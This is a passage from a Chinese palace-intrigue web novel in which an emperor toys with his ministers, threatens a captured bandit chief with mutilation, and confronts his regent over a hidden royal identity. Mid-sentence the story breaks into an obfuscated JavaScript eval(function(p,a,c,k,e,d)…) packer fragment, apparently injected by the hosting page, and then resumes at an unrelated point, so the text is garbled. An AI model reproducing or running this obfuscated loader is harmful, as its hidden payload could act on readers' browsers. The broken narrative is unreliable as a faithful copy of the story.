看着这群朝臣吊儿郎当的样子,花疏叶也被情不自禁地感染,高声道:“既然这个匪首如此雌雄难辨,不如送到天牢内,好让朕瞧一瞧他究竟是男是女。” 闻言,唐锶谐的眉头不由得跳了一跳。 领兵回城后的几日,趁着去皇宫内拿奏折的时辰,他听说花疏叶最近新染上了一个癖好——喜欢搜集各类各样雌雄莫辨的男子或是女子,帮他们仔细看一看性别。 所谓的雌雄莫辨并不是单单指相貌上有多么男生女相或是女生男相,其中也包含了心中的看法。譬如一个络腮胡子的庄稼大汉,虽每日梳妆打扮,搽脂抹粉,但看上去依旧是个男子。虽旁人也知道这一点,但他却偏偏以为自己是个女子,整日哥哥长哥哥短地叫着,叫得旁人浑身起腻子。 单单只是德信举的这个例子,唐锶谐想想都会觉得浑身泛起鸡皮疙瘩,更别说辨别雌雄了。好在花疏叶目前虽然有这个癖好,也派人在全国各地寻找,但了无音讯。是以他还没有真正地帮人辩过,如今好不容易抓到梅三刀这个奇葩,又怎么会放过。 听闻皇上如此说,众朝臣吓坏了,纷纷进言。 “皇上三思!皇上万金之躯,梅三刀乃穷凶极恶之辈,若是伤了龙体可如何是好?” “皇上还是莫要靠近这匪首实为上策!” “皇上!!!” 为表忠心,众朝臣纷纷跪地。唯有唐锶谐和沈道溦屹立不动,仿佛如两座山似的。 “不过一个匪首而已,有何可惧?”花疏叶满不在乎:“若是畏惧他伤了朕的龙体,断了他双手双脚,且留条命,做成人彘装进坛子里便是。” ! 众朝臣倒吸一口凉气。 花疏叶很是为自己方才的那番话而得意:“爱卿们可还有异议?” 众朝臣纷纷摇头,赞道:“皇上圣明!” 解决完了大臣们,花疏叶偏头笑眯眯地看着唐锶谐:“摄政王以为如何?” 唐锶谐不着痕迹地看了沈道溦一眼,见后者神色并无任何起伏,便起身道:“皇上所言甚是。” 花疏叶甚是满意地点了点头。 待唐锶谐坐下后,沈道溦侧头看了一眼唐锶谐:“摄政王有何感想?” 唐锶谐抿紧了唇角,不发一言。 酒过三巡之后,皇上领着朝臣们看天际绽放的烟花。梅三刀被送去了天牢,由御林军严加看管。以往花疏叶都是不管这类事情的,连御林军也是唐锶谐掌控。如今唐锶谐出去不过二十几日,御林军就被花疏叶自己掌控了。 趁着放烟花的功夫,唐锶谐捉住沈道溦的腕子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“摄政王府空虚多日,臣妇还要回去料理府中事务,便不打扰皇上与摄政王叙旧了。” 沈道溦行礼之后离开,谢有缘和林有分也一同归去。 花疏叶的眉头不着痕迹地跳了一下。 这两个贴身护卫本是唐锶谐身旁的,如今怎么跟着沈道溦走了。他原本还想该如何解决此事,如今正合他意,他本应高兴才是。可不知为何,心头竟没来由有些慌张。 尤其是唐锶谐拽住沈道溦,轻声嘱咐了几句后,这种感觉尤为更甚。 但此时箭在弦上,不得不发。待沈道溦走后,花疏叶还是如约将唐锶谐再次请进了金銮殿。 梅三刀再次被御林军押上来。 花疏叶一撩袍角,盘腿坐在跪着的梅三刀面前。他指了指自己脸上尚且还明显的巴掌印子,没头没脑地问了一句。 “认得出我吗?” 梅三刀怯弱地抬起头,然而在对上花疏叶那双漆黑如墨的眼睛后,又迅速低下头去,身体抖得像筛子似的。 “莫怕。”花疏叶轻轻拍了拍梅三刀的肩膀:“朕不会杀你灭口的。即便要杀,也不该是你。” 唐锶谐神情平静地看着这一切,他淡淡地开口:“皇上。” “摄政王,君要臣死,臣不死不忠的道理你是否还记得?”花疏叶站了起来,走到唐锶谐的面前,“还是说,我该叫你……太子兄长?”